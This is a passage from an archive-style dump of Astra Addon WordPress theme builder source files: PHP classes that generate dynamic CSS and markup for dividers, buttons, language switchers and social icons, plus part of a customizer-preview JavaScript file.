$css_output; if ( class_exists( 'Astra_Builder_Base_Dynamic_CSS' ) && method_exists( 'Astra_Builder_Base_Dynamic_CSS', 'prepare_visibility_css' ) ) { $generated_css .= Astra_Builder_Base_Dynamic_CSS::prepare_visibility_css( $_section, $selector ); } } return $generated_css; } } /** * Kicking this off by creating object of this class. */ new Astra_Divider_Component_Dynamic_CSS(); builder/type/base/dynamic-css/button/class-astra-addon-button-component-dynamic-css.php 0000666 00000002740 15165730731 0025363 0 ustar 00 <?php /** * Astra Addon Button Component Dynamic CSS. * * @package astra-builder * @link https://wpastra.com/ * @since 3.3.0 */ // No direct access, please. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Register Builder Dynamic CSS. * * @since 3.3.0 */ class Astra_Addon_Button_Component_Dynamic_CSS { /** * Dynamic CSS * * @param string $builder_type Builder Type. * @return String Generated dynamic CSS for Heading Colors. * * @since 3.3.0 */ public static function astra_ext_button_dynamic_css( $builder_type = 'header' ) { $dynamic_css = ''; $number_of_button = ( 'header' === $builder_type ) ? astra_addon_builder_helper()->num_of_header_button : astra_addon_builder_helper()->num_of_footer_button; for ( $index = 1; $index <= $number_of_button; $index++ ) { if ( ! Astra_Addon_Builder_Helper::is_component_loaded( 'button-' . $index, $builder_type ) ) { continue; } $_section = ( 'header' === $builder_type ) ? 'section-hb-button-' . $index : 'section-fb-button-' . $index; $_prefix = 'button' . $index; $selector = '.ast-' . $builder_type . '-button-' . $index . ' .ast-custom-button'; $dynamic_css .= Astra_Addon_Base_Dynamic_CSS::prepare_box_shadow_dynamic_css( $builder_type . '-button' . $index, $selector ); } return $dynamic_css; } } /** * Kicking this off by creating object of this class. */ new Astra_Addon_Button_Component_Dynamic_CSS(); builder/type/base/dynamic-css/class-astra-addon-base-dynamic-css.php 0000666 00000004114 15165730731 0021444 0 ustar 00 <?php /** * Astra Addon Base Dynamic CSS. * * @since 3.3.0 * @package astra-addon */ // No direct access, please. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Class Astra_Addon_Base_Dynamic_CSS. */ class Astra_Addon_Base_Dynamic_CSS { /** * Dynamic CSS * * @param string $prefix control prefix. * @param string $selector control CSS selector. * @return String Generated dynamic CSS for Box Shadow. * * @since 3.3.0 */ public static function prepare_box_shadow_dynamic_css( $prefix, $selector ) { $dynamic_css = ''; $box_shadow = astra_get_option( $prefix . '-box-shadow-control' ); $box_shadow_color = astra_get_option( $prefix . '-box-shadow-color' ); $position = astra_get_option( $prefix . '-box-shadow-position' ); $is_shadow = isset( $box_shadow ); // Box Shadow. $box_shadow_x = ( $is_shadow && isset( $box_shadow['x'] ) && '' !== $box_shadow['x'] ) ? ( $box_shadow['x'] . 'px ' ) : '0px '; $box_shadow_y = ( $is_shadow && isset( $box_shadow['y'] ) && '' !== $box_shadow['y'] ) ? ( $box_shadow['y'] . 'px ' ) : '0px '; $box_shadow_blur = ( $is_shadow && isset( $box_shadow['blur'] ) && '' !== $box_shadow['blur'] ) ? ( $box_shadow['blur'] . 'px ' ) : '0px '; $box_shadow_spread = ( $is_shadow && isset( $box_shadow['spread'] ) && '' !== $box_shadow['spread'] ) ? ( $box_shadow['spread'] . 'px ' ) : '0px '; $shadow_position = ( $is_shadow && isset( $position ) && 'inset' === $position ) ? ' inset' : ''; $shadow_color = ( isset( $box_shadow_color ) ? $box_shadow_color : 'rgba(0,0,0,0.5)' ); $css_output = array( $selector => array( // box shadow. 'box-shadow' => $box_shadow_x . $box_shadow_y . $box_shadow_blur . $box_shadow_spread . $shadow_color . $shadow_position, ), ); /* Parse CSS from array() */ $dynamic_css .= astra_parse_css( $css_output ); return $dynamic_css; } } /** * Prepare if class 'Astra_Addon_Base_Dynamic_CSS' exist. * Kicking this off by calling 'get_instance()' method */ new Astra_Addon_Base_Dynamic_CSS(); type/base/dynamic-css/language-switcher/class-astra-language-switcher-component-dynamic-css.php 0000666 00000010430 15165730731 0030410 0 ustar 00 builder <?php /** * Astra language switcher Component Dynamic CSS. * * @package astra-builder * @link https://wpastra.com/ * @since 3.1.0 */ // No direct access, please. if ( ! defined( 'ABSPATH' ) ) { exit; } // Bail if Customizer divider dynamic CSS class is already present. if ( class_exists( 'Astra_Language_Switcher_Component_Dynamic_CSS' ) ) { return; } /** * Register Builder Dynamic CSS. * * @since 3.1.0 */ // @codingStandardsIgnoreStart class Astra_Language_Switcher_Component_Dynamic_CSS { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Dynamic CSS * * @param string $builder_type Builder Type. * @return String Generated dynamic CSS for Heading Colors. * * @since 3.1.0 */ public static function astra_language_switcher_dynamic_css( $builder_type = 'header' ) { $generated_css = ''; if ( false === Astra_Ext_Extension::is_active( 'spacing' ) ) { $generated_css = '.ast-builder-language-switcher-menu-item-header:not(:last-child), .ast-builder-language-switcher-menu-item-footer:not(:last-child) { margin-right: 10px; }'; } $_section = ( 'header' === $builder_type ) ? 'section-hb-language-switcher' : 'section-fb-language-switcher'; $selector = ( 'header' === $builder_type ) ? '.ast-header-language-switcher' : '.ast-footer-language-switcher-element[data-section="section-fb-language-switcher"]'; $flag_spacing = astra_get_option( $_section . '-flag-spacing' ); $flag_spacing_desktop = isset( $flag_spacing['desktop'] ) ? $flag_spacing['desktop'] : ''; $flag_spacing_tablet = isset( $flag_spacing['tablet'] ) ? $flag_spacing['tablet'] : ''; $flag_spacing_mobile = isset( $flag_spacing['mobile'] ) ? $flag_spacing['mobile'] : ''; $flag_size = astra_get_option( $_section . '-flag-size' ); $flag_size_desktop = isset( $flag_size['desktop'] ) ? $flag_size['desktop'] : ''; $flag_size_tablet = isset( $flag_size['tablet'] ) ? $flag_size['tablet'] : ''; $flag_size_mobile = isset( $flag_size['mobile'] ) ? $flag_size['mobile'] : ''; /** * Desktop CSS. */ $css_output_desktop = array( '.ast-lswitcher-item-' . $builder_type => array( 'margin-right' => astra_get_css_value( $flag_spacing_desktop, 'px' ), ), '.ast-lswitcher-item-' . $builder_type . ' img' => array( 'width' => astra_get_css_value( $flag_size_desktop, 'px' ), ), '.ast-lswitcher-item-' . $builder_type . ' svg' => array( 'width' => astra_get_css_value( $flag_size_desktop, 'px' ), 'height' => astra_get_css_value( $flag_size_desktop, 'px' ), ), ); /** * Tablet CSS. */ $css_output_tablet = array( '.ast-lswitcher-item-' . $builder_type => array( 'margin-right' => astra_get_css_value( $flag_spacing_tablet, 'px' ), ), '.ast-lswitcher-item-' . $builder_type . ' img' => array( 'width' => astra_get_css_value( $flag_size_tablet, 'px' ), ), '.ast-lswitcher-item-' . $builder_type . ' svg' => array( 'width' => astra_get_css_value( $flag_size_tablet, 'px' ), 'height' => astra_get_css_value( $flag_size_tablet, 'px' ), ), ); /** * Tablet CSS. */ $css_output_mobile = array( '.ast-lswitcher-item-' . $builder_type => array( 'margin-right' => astra_get_css_value( $flag_spacing_mobile, 'px' ), ), '.ast-lswitcher-item-' . $builder_type . ' img' => array( 'width' => astra_get_css_value( $flag_size_mobile, 'px' ), ), '.ast-lswitcher-item-' . $builder_type . ' svg' => array( 'width' => astra_get_css_value( $flag_size_mobile, 'px' ), 'height' => astra_get_css_value( $flag_size_mobile, 'px' ), ), ); /* Parse CSS from array() */ $css_output = astra_parse_css( $css_output_desktop ); $css_output .= astra_parse_css( $css_output_tablet, '', astra_addon_get_tablet_breakpoint() ); $css_output .= astra_parse_css( $css_output_mobile, '', astra_addon_get_mobile_breakpoint() ); $generated_css .= $css_output; $generated_css .= Astra_Builder_Base_Dynamic_CSS::prepare_visibility_css( $_section, $selector ); return $generated_css; } } /** * Kicking this off by creating object of this class. */ new Astra_Language_Switcher_Component_Dynamic_CSS(); builder/type/base/dynamic-css/social-icon/class-astra-social-icon-component-dynamic-css.php 0000666 00000011267 15165730731 0026056 0 ustar 00 <?php /** * Astra Social Component Dynamic CSS. * * @package astra-builder * @link https://wpastra.com/ * @since 3.0.0 */ // No direct access, please. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Register Builder Dynamic CSS. * * @since 3.0.0 */ // @codingStandardsIgnoreStart class Astra_Social_Icon_Component_Dynamic_CSS { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Dynamic CSS * * @param string $builder_type Builder Type. * @return String Generated dynamic CSS for Heading Colors. * * @since 3.0.0 */ public static function astra_social_dynamic_css( $builder_type = 'header' ) { $generated_css = ''; $number_of_social_icons = ( 'header' === $builder_type ) ? astra_addon_builder_helper()->num_of_header_social_icons : astra_addon_builder_helper()->num_of_footer_social_icons; for ( $index = 1; $index <= $number_of_social_icons; $index++ ) { if ( ! Astra_Addon_Builder_Helper::is_component_loaded( 'social-icons-' . $index, $builder_type ) ) { continue; } $selector = '.ast-' . $builder_type . '-social-' . $index . '-wrap'; $icon_spacing = astra_get_option( $builder_type . '-social-' . $index . '-space' ); $social_stack_on = astra_get_option( $builder_type . '-social-' . $index . '-stack', 'none' ); $icon_spacing_desktop = ( isset( $icon_spacing['desktop'] ) && '' !== $icon_spacing['desktop'] ) ? (int) $icon_spacing['desktop'] / 2 : ''; $icon_spacing_tablet = ( isset( $icon_spacing['tablet'] ) && '' !== $icon_spacing['tablet'] ) ? (int) $icon_spacing['tablet'] / 2 : ''; $icon_spacing_mobile = ( isset( $icon_spacing['mobile'] ) && '' !== $icon_spacing['mobile'] ) ? (int) $icon_spacing['mobile'] / 2 : ''; /** * Social Icon CSS. */ $css_output_desktop = array(); $css_output_tablet = array(); $css_output_mobile = array(); if ( 'desktop' === $social_stack_on ) { $css_output_desktop = array( $selector . ' .ast-social-stack-desktop .ast-builder-social-element' => array( 'display' => 'flex', // Icon Spacing. 'margin-left' => 'unset', 'margin-right' => 'unset', 'margin-top' => astra_get_css_value( $icon_spacing_desktop, 'px' ), 'margin-bottom' => astra_get_css_value( $icon_spacing_desktop, 'px' ), ), ); $css_output_tablet[ $selector . ' .ast-social-stack-desktop .ast-builder-social-element' ] = array( 'margin-top' => astra_get_css_value( $icon_spacing_tablet, 'px' ), 'margin-bottom' => astra_get_css_value( $icon_spacing_tablet, 'px' ), ); $css_output_mobile[ $selector . ' .ast-social-stack-desktop .ast-builder-social-element' ] = array( 'margin-top' => astra_get_css_value( $icon_spacing_mobile, 'px' ), 'margin-bottom' => astra_get_css_value( $icon_spacing_mobile, 'px' ), ); } /** * Social_icons tablet CSS. */ if ( 'tablet' === $social_stack_on ) { $css_output_tablet = array( $selector . ' .ast-social-stack-tablet .ast-builder-social-element' => array( 'display' => 'flex', // Icon Spacing. 'margin-left' => 'unset', 'margin-right' => 'unset', 'margin-top' => astra_get_css_value( $icon_spacing_tablet, 'px' ), 'margin-bottom' => astra_get_css_value( $icon_spacing_tablet, 'px' ), ), ); $css_output_mobile[ $selector . ' .ast-social-stack-tablet .ast-builder-social-element' ] = array( 'margin-top' => astra_get_css_value( $icon_spacing_mobile, 'px' ), 'margin-bottom' => astra_get_css_value( $icon_spacing_mobile, 'px' ), ); } /** * Social_icons mobile CSS. */ if ( 'mobile' === $social_stack_on ) { $css_output_mobile = array( $selector . ' .ast-social-stack-mobile .ast-builder-social-element' => array( 'display' => 'flex', // Icon Spacing. 'margin-left' => 'unset', 'margin-right' => 'unset', 'margin-top' => astra_get_css_value( $icon_spacing_mobile, 'px' ), 'margin-bottom' => astra_get_css_value( $icon_spacing_mobile, 'px' ), ), ); } /* Parse CSS from array() */ $css_output = astra_parse_css( $css_output_desktop ); $css_output .= astra_parse_css( $css_output_tablet, '', astra_addon_get_tablet_breakpoint() ); $css_output .= astra_parse_css( $css_output_mobile, '', astra_addon_get_mobile_breakpoint() ); $generated_css .= $css_output; } return $generated_css; } } /** * Kicking this off by creating object of this class. */ new Astra_Social_Icon_Component_Dynamic_CSS(); builder/type/base/controllers/class-astra-addon-builder-ui-controller.php 0000666 00000020173 15165730731 0022703 0 ustar 00 <?php /** * Astra Builder UI Controller. * * @package astra-builder */ // No direct access, please. if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'Astra_Addon_Builder_UI_Controller' ) ) { /** * Class Astra_Addon_Builder_UI_Controller. */ final class Astra_Addon_Builder_UI_Controller { /** * Astra Flags SVGs. * * @var ast_flags */ private static $ast_flags = null; /** * Prepare divider Markup. * * @param string $index Key of the divider Control. */ public static function render_divider_markup( $index = 'header-divider-1' ) { $layout = astra_get_option( $index . '-layout' ); ?> <div class="ast-divider-wrapper ast-divider-layout-<?php echo esc_attr( $layout ); ?>"> <?php if ( is_customize_preview() ) { self::render_customizer_edit_button(); } ?> <div class="ast-builder-divider-element"></div> </div> <?php } /** * Prepare language switcher Markup. * * @param string $index Key of the language switcher Control. * @param string $builder_type builder type. */ public static function render_language_switcher_markup( $index = 'header-language-switcher', $builder_type = 'header' ) { $lang_type = astra_get_option( $index . '-type' ); $layout = astra_get_option( $index . '-layout' ); $show_flag = astra_get_option( $index . '-show-flag' ); $show_label = astra_get_option( $index . '-show-name' ); ?> <div class="ast-builder-language-switcher-wrapper ast-builder-language-switcher-layout-<?php echo esc_attr( $layout ); ?>"> <?php if ( is_customize_preview() ) { self::render_customizer_edit_button(); } ?> <div class="ast-builder-language-switcher-element"> <?php if ( 'wpml' === $lang_type ) { $show_tname = astra_get_option( $index . '-show-tname' ); $show_code = astra_get_option( $index . '-show-code' ); $languages = apply_filters( 'wpml_active_languages', // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound null, array( 'skip_missing' => 0, ) ); if ( ! empty( $languages ) ) { ?> <nav class="ast-builder-language-switcher"><ul class="ast-builder-language-switcher-menu"> <?php foreach ( $languages as $language ) { ?> <li class="ast-builder-language-switcher-menu-item-<?php echo esc_attr( $builder_type ); ?>"> <?php if ( isset( $language['active'] ) && '1' === $language['active'] ) { ?> <a href="<?php echo esc_url( $language['url'] ); ?>" class="ast-builder-language-switcher-item ast-builder-language-switcher-item__active"> <?php } else { ?> <a href="<?php echo esc_url( $language['url'] ); ?>" class="ast-builder-language-switcher-item"> <?php } ?> <?php if ( $show_flag ) { ?> <span class="ast-lswitcher-item-<?php echo esc_attr( $builder_type ); ?>"><img src="<?php echo esc_url( $language['country_flag_url'] ); ?>" alt="<?php echo esc_attr( $language['language_code'] ); ?>" width="18" height="12" /></span> <?php } ?> <?php if ( $show_label ) { ?> <span class="ast-lswitcher-item-<?php echo esc_attr( $builder_type ); ?> ast-builder-language-switcher-native-name"><?php echo esc_html( $language['native_name'] ); ?></span> <?php } ?> <?php if ( $show_tname ) { ?> <span class="ast-lswitcher-item-<?php echo esc_attr( $builder_type ); ?> ast-builder-language-switcher-translated-name"><?php echo esc_html( $language['translated_name'] ); ?></span> <?php } ?> <?php if ( $show_code ) { ?> <span class="ast-lswitcher-item-<?php echo esc_attr( $builder_type ); ?> ast-builder-language-switcher-language-code"><?php echo '('; ?><?php echo esc_html( $language['language_code'] ); ?><?php echo ')'; ?></span> <?php } ?> </a> </li> <?php } ?> </ul></nav> <?php } } else { $items = astra_get_option( $index . '-options' ); $items = isset( $items['items'] ) ? $items['items'] : array(); $image_link = ''; if ( is_array( $items ) && ! empty( $items ) ) { ?> <nav class="ast-builder-language-switcher"><ul class="ast-builder-language-switcher-menu"> <?php foreach ( $items as $item ) { if ( $item['enabled'] ) { $link = ( '' !== $item['url'] ) ? $item['url'] : ''; ?> <li class="ast-builder-language-switcher-menu-item-<?php echo esc_attr( $builder_type ); ?>"> <a href="<?php echo esc_url( $link ); ?>" aria-label="<?php echo esc_attr( $item['label'] ); ?>" class="ast-builder-language-switcher-item"> <?php if ( $show_flag && 'zz-other' !== $item['id'] ) { ?> <span class="ast-lswitcher-item-<?php echo esc_attr( $builder_type ); ?>"> <?php echo wp_kses( self::fetch_flags_svg( $item['id'] ), Astra_Addon_Kses::astra_addon_svg_kses_protocols() ); ?> </span> <?php } ?> <?php if ( $show_label ) { ?> <span class="ast-lswitcher-item-<?php echo esc_attr( $builder_type ); ?> ast-builder-language-switcher-native-name"> <?php echo esc_html( $item['label'] ); ?></span> <?php } ?> </a> </li> <?php } } ?> </ul></nav> <?php } } ?> </div> </div> <?php } /** * Prepare Edit icon inside customizer. */ public static function render_customizer_edit_button() { if ( ! is_callable( 'Astra_Builder_UI_Controller::fetch_svg_icon' ) ) { return; } ?> <div class="customize-partial-edit-shortcut" data-id="ahfb"> <button aria-label="<?php esc_attr_e( 'Click to edit this element.', 'astra-addon' ); ?>" title="<?php esc_attr_e( 'Click to edit this element.', 'astra-addon' ); ?>" class="customize-partial-edit-shortcut-button item-customizer-focus"> <?php echo wp_kses( Astra_Builder_UI_Controller::fetch_svg_icon( 'edit' ), array( 'svg' => array( 'xmlns:xlink' => array(), 'version' => array(), 'x' => array(), 'y' => array(), 'enable-background' => array(), 'xml:space' => array(), 'class' => array(), 'aria-hidden' => array(), 'aria-labelledby' => array(), 'role' => array(), 'xmlns' => array(), 'width' => array(), 'fill' => array(), 'height' => array(), 'viewbox' => array(), ), 'g' => array( 'fill' => array(), 'clip-path' => array(), ), 'title' => array( 'title' => array() ), 'path' => array( 'd' => array(), 'fill' => array(), 'stroke' => array(), 'stroke-width' => array(), ), ) ); ?> </button> </div> <?php } /** * Get an SVG Icon * * @param string $icon the icon name. * @param bool $base if the baseline class should be added. */ public static function fetch_flags_svg( $icon = '', $base = true ) { $output = '<span class="ahfb-svg-iconset ast-inline-flex' . ( $base ? ' svg-baseline' : '' ) . '">'; if ( ! self::$ast_flags ) { ob_start(); include_once ASTRA_EXT_DIR . 'assets/flags/svgs.json'; // phpcs:ignore WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound self::$ast_flags = json_decode( ob_get_clean(), true ); self::$ast_flags = apply_filters( 'astra_addon_flags_svg', self::$ast_flags ); self::$ast_flags = self::$ast_flags; } $output .= isset( self::$ast_flags[ $icon ] ) ? self::$ast_flags[ $icon ] : ''; $output .= '</span>'; return $output; } } } builder/type/base/assets/js/customizer-preview.js 0000666 00000056663 15165730731 0016260 0 ustar 00 /** * Divider Component CSS. * * @param string builder_type Builder Type. * @param string divider_count HTML Count. * @since x.x.x * */ function astra_builder_divider_css( builder_type = 'header', divider_count ) { var tablet_break_point = astraBuilderPreview.tablet_break_point || 768, mobile_break_point = astraBuilderPreview.mobile_break_point || 544; for ( var index = 1; index <= divider_count; index++ ) { let selector = ( 'header' === builder_type ) ? '.ast-header-divider-' + index : '.ast-builder-grid-row-container-inner .footer-widget-area[data-section="section-fb-divider-' + index + '"]'; let section = ( 'header' === builder_type ) ? 'section-hb-divider-' + index : 'section-fb-divider-' + index; // Advanced Visibility CSS Generation. astra_builder_visibility_css( section, selector ); ( function ( index ) { astra_css( 'astra-settings[' + builder_type + '-divider-' + index + '-style]', 'border-style', selector + ' .ast-divider-wrapper' ); wp.customize( 'astra-settings[' + builder_type + '-divider-' + index + '-color]', function( setting ) { setting.bind( function( color ) { var dynamicStyle = '', borderStyle = (typeof ( wp.customize._value['astra-settings[' + builder_type + '-divider-' + index + '-style]'] ) != 'undefined') ? wp.customize._value['astra-settings[' + builder_type + '-divider-' + index + '-style]']._value : ''; dynamicStyle += selector + ' .ast-divider-wrapper, .ast-mobile-popup-content ' + selector + ' .ast-divider-wrapper {'; dynamicStyle += 'border-style: ' + borderStyle + ';'; dynamicStyle += 'border-color: ' + color + ';'; dynamicStyle += '} '; astra_add_dynamic_css( builder_type + '-divider-' + index + '-color', dynamicStyle ); } ); } ); wp.customize( 'astra-settings[' + builder_type + '-divider-' + index + '-layout]', function ( value ) { value.bind( function ( newval ) { var context = ( 'header' === builder_type ) ? 'hb' : 'fb'; var side_class = 'ast-' + context + '-divider-layout-' + newval; jQuery( '.ast-' + builder_type + '-divider-' + index ).removeClass( 'ast-' + context + '-divider-layout-horizontal' ); jQuery( '.ast-' + builder_type + '-divider-' + index ).removeClass( 'ast-' + context + '-divider-layout-vertical' ); jQuery( '.ast-' + builder_type + '-divider-' + index ).addClass( side_class ); } ); } ); // Divider Thickness. wp.customize( 'astra-settings[' + builder_type + '-divider-' + index + '-thickness]', function( value ) { value.bind( function( size ) { if( size.desktop != '' || size.tablet != '' || size.mobile != '' ) { let layout = wp.customize( 'astra-settings[' + builder_type + '-divider-' + index + '-layout]' ).get(); var dynamicStyle = ''; if ( 'horizontal' === layout ) { dynamicStyle += selector + ' .ast-divider-layout-horizontal {'; dynamicStyle += 'border-top-width: ' + size.desktop + 'px' + ';'; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + tablet_break_point + 'px) {'; dynamicStyle += selector + ' .ast-divider-layout-horizontal {'; dynamicStyle += 'border-top-width: ' + size.tablet + 'px' + ';'; dynamicStyle += '} '; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + mobile_break_point + 'px) {'; dynamicStyle += selector + ' .ast-divider-layout-horizontal {'; dynamicStyle += 'border-top-width: ' + size.mobile + 'px' + ';'; dynamicStyle += '} '; dynamicStyle += '} '; } else { dynamicStyle += selector + ' .ast-divider-layout-vertical {'; dynamicStyle += 'border-right-width: ' + size.desktop + 'px' + ';'; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + tablet_break_point + 'px) {'; dynamicStyle += selector + ' .ast-divider-layout-vertical {'; dynamicStyle += 'border-right-width: ' + size.tablet + 'px' + ';'; dynamicStyle += '} '; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + mobile_break_point + 'px) {'; dynamicStyle += selector + ' .ast-divider-layout-vertical {'; dynamicStyle += 'border-right-width: ' + size.mobile + 'px' + ';'; dynamicStyle += '} '; dynamicStyle += '} '; } astra_add_dynamic_css( builder_type + '-divider-' + index + '-thickness', dynamicStyle ); } } ); } ); // Divider Size. wp.customize( 'astra-settings[' + builder_type + '-divider-' + index + '-size]', function( value ) { value.bind( function( size ) { if( size.desktop != '' || size.tablet != '' || size.mobile != '' ) { var dynamicStyle = ''; if ( 'footer' === builder_type ) { dynamicStyle += selector + '.ast-fb-divider-layout-horizontal .ast-divider-layout-horizontal {'; dynamicStyle += 'width: ' + size.desktop + '%' + ';'; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + tablet_break_point + 'px) {'; dynamicStyle += selector + '.ast-fb-divider-layout-horizontal .ast-divider-layout-horizontal {'; dynamicStyle += 'width: ' + size.tablet + '%' + ';'; dynamicStyle += '} '; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + mobile_break_point + 'px) {'; dynamicStyle += selector + '.ast-fb-divider-layout-horizontal .ast-divider-layout-horizontal {'; dynamicStyle += 'width: ' + size.mobile + '%' + ';'; dynamicStyle += '} '; dynamicStyle += '} '; } else { dynamicStyle += selector + '.ast-hb-divider-layout-vertical .ast-divider-layout-vertical {'; dynamicStyle += 'height: ' + size.desktop + '%' + ';'; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + tablet_break_point + 'px) {'; dynamicStyle += selector + '.ast-hb-divider-layout-vertical .ast-divider-layout-vertical {'; dynamicStyle += 'height: ' + size.tablet + '%' + ';'; dynamicStyle += '} '; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + mobile_break_point + 'px) {'; dynamicStyle += selector + '.ast-hb-divider-layout-vertical .ast-divider-layout-vertical {'; dynamicStyle += 'height: ' + size.mobile + '%' + ';'; dynamicStyle += '} '; dynamicStyle += '} '; } astra_add_dynamic_css( builder_type + '-divider-' + index + '-size', dynamicStyle ); } } ); } ); // Footer Vertical Divider Size. wp.customize( 'astra-settings[footer-vertical-divider-' + index + '-size]', function( value ) { value.bind( function( size ) { var dynamicStyle = ''; if( size.desktop != '' || size.tablet != '' || size.mobile != '' ) { dynamicStyle += selector + '.ast-fb-divider-layout-vertical .ast-divider-layout-vertical {'; dynamicStyle += 'height: ' + size.desktop + 'px' + ';'; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + tablet_break_point + 'px) {'; dynamicStyle += selector + '.ast-fb-divider-layout-vertical .ast-divider-layout-vertical {'; dynamicStyle += 'height: ' + size.tablet + 'px' + ';'; dynamicStyle += '} '; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + mobile_break_point + 'px) {'; dynamicStyle += selector + '.ast-fb-divider-layout-vertical .ast-divider-layout-vertical {'; dynamicStyle += 'height: ' + size.mobile + 'px' + ';'; dynamicStyle += '} '; dynamicStyle += '} '; } astra_add_dynamic_css( builder_type + '-vertical-divider-' + index + '-size', dynamicStyle ); } ); } ); // Header Horizontal Divider Size. wp.customize( 'astra-settings[header-horizontal-divider-' + index + '-size]', function( value ) { value.bind( function( size ) { var dynamicStyle = ''; if( size.desktop != '' || size.tablet != '' || size.mobile != '' ) { dynamicStyle += selector + '.ast-hb-divider-layout-horizontal .ast-divider-layout-horizontal {'; dynamicStyle += 'width: ' + size.desktop + 'px' + ';'; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + tablet_break_point + 'px) {'; dynamicStyle += selector + '.ast-hb-divider-layout-horizontal .ast-divider-layout-horizontal {'; dynamicStyle += 'width: ' + size.tablet + 'px' + ';'; dynamicStyle += '} '; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + mobile_break_point + 'px) {'; dynamicStyle += selector + '.ast-hb-divider-layout-horizontal .ast-divider-layout-horizontal {'; dynamicStyle += 'width: ' + size.mobile + 'px' + ';'; dynamicStyle += '} '; dynamicStyle += '} '; } astra_add_dynamic_css( builder_type + '-horizontal-divider-' + index + '-size', dynamicStyle ); } ); } ); // Margin. wp.customize( 'astra-settings[' + section + '-margin]', function( value ) { value.bind( function( margin ) { if( margin.desktop.bottom != '' || margin.desktop.top != '' || margin.desktop.left != '' || margin.desktop.right != '' || margin.tablet.bottom != '' || margin.tablet.top != '' || margin.tablet.left != '' || margin.tablet.right != '' || margin.mobile.bottom != '' || margin.mobile.top != '' || margin.mobile.left != '' || margin.mobile.right != '' ) { var dynamicStyle = ''; dynamicStyle += selector + ' {'; dynamicStyle += 'margin-left: ' + margin['desktop']['left'] + margin['desktop-unit'] + ';'; dynamicStyle += 'margin-right: ' + margin['desktop']['right'] + margin['desktop-unit'] + ';'; dynamicStyle += 'margin-top: ' + margin['desktop']['top'] + margin['desktop-unit'] + ';'; dynamicStyle += 'margin-bottom: ' + margin['desktop']['bottom'] + margin['desktop-unit'] + ';'; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + tablet_break_point + 'px) {'; dynamicStyle += selector + ' {'; dynamicStyle += 'margin-left: ' + margin['tablet']['left'] + margin['tablet-unit'] + ';'; dynamicStyle += 'margin-right: ' + margin['tablet']['right'] + margin['tablet-unit'] + ';'; dynamicStyle += 'margin-top: ' + margin['tablet']['top'] + margin['desktop-unit'] + ';'; dynamicStyle += 'margin-bottom: ' + margin['tablet']['bottom'] + margin['desktop-unit'] + ';'; dynamicStyle += '} '; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + mobile_break_point + 'px) {'; dynamicStyle += selector + ' {'; dynamicStyle += 'margin-left: ' + margin['mobile']['left'] + margin['mobile-unit'] + ';'; dynamicStyle += 'margin-right: ' + margin['mobile']['right'] + margin['mobile-unit'] + ';'; dynamicStyle += 'margin-top: ' + margin['mobile']['top'] + margin['desktop-unit'] + ';'; dynamicStyle += 'margin-bottom: ' + margin['mobile']['bottom'] + margin['desktop-unit'] + ';'; dynamicStyle += '} '; dynamicStyle += '} '; astra_add_dynamic_css( section + '-margin', dynamicStyle ); } } ); } ); })(index); } } /** * Generate spacing preview CSS based on stack-on device option. */ function astra_generate_spacing_preview_social_css( index, builder_type, stack_on, spacing ) { let selector = '.ast-' + builder_type + '-social-' + index + '-wrap'; var tablet_break_point = astraBuilderPreview.tablet_break_point || 768, mobile_break_point = astraBuilderPreview.mobile_break_point || 544; var space = ''; var dynamicStyle = ''; if ( 'desktop' === stack_on ) { space = spacing.desktop/2; dynamicStyle += selector + ' .ast-social-stack-desktop .ast-builder-social-element {'; dynamicStyle += 'display: flex;'; dynamicStyle += 'margin-top: ' + space + 'px;'; dynamicStyle += 'margin-bottom: ' + space + 'px;'; dynamicStyle += 'margin-left: unset;'; dynamicStyle += 'margin-right: unset;'; dynamicStyle += '} '; space = spacing.tablet/2; dynamicStyle += '@media (max-width: ' + tablet_break_point + 'px) {'; dynamicStyle += selector + ' .ast-social-stack-desktop .ast-builder-social-element {'; dynamicStyle += 'display: flex;'; dynamicStyle += 'margin-top: ' + space + 'px;'; dynamicStyle += 'margin-bottom: ' + space + 'px;'; dynamicStyle += 'margin-left: unset;'; dynamicStyle += 'margin-right: unset;'; dynamicStyle += '} '; dynamicStyle += '} '; space = spacing.mobile/2; dynamicStyle += '@media (max-width: ' + mobile_break_point + 'px) {'; dynamicStyle += selector + ' .ast-social-stack-desktop .ast-builder-social-element {'; dynamicStyle += 'display: flex;'; dynamicStyle += 'margin-top: ' + space + 'px;'; dynamicStyle += 'margin-bottom: ' + space + 'px;'; dynamicStyle += 'margin-left: unset;'; dynamicStyle += 'margin-right: unset;'; dynamicStyle += '} '; dynamicStyle += '} '; } if ( 'tablet' === stack_on ) { space = spacing.tablet/2; dynamicStyle += '@media (max-width: ' + tablet_break_point + 'px) {'; dynamicStyle += selector + ' .ast-social-stack-tablet .ast-builder-social-element {'; dynamicStyle += 'display: flex;'; dynamicStyle += 'margin-top: ' + space + 'px;'; dynamicStyle += 'margin-bottom: ' + space + 'px;'; dynamicStyle += 'margin-left: unset;'; dynamicStyle += 'margin-right: unset;'; dynamicStyle += '} '; dynamicStyle += '} '; space = spacing.mobile/2; dynamicStyle += '@media (max-width: ' + mobile_break_point + 'px) {'; dynamicStyle += selector + ' .ast-social-stack-tablet .ast-builder-social-element {'; dynamicStyle += 'display: flex;'; dynamicStyle += 'margin-top: ' + space + 'px;'; dynamicStyle += 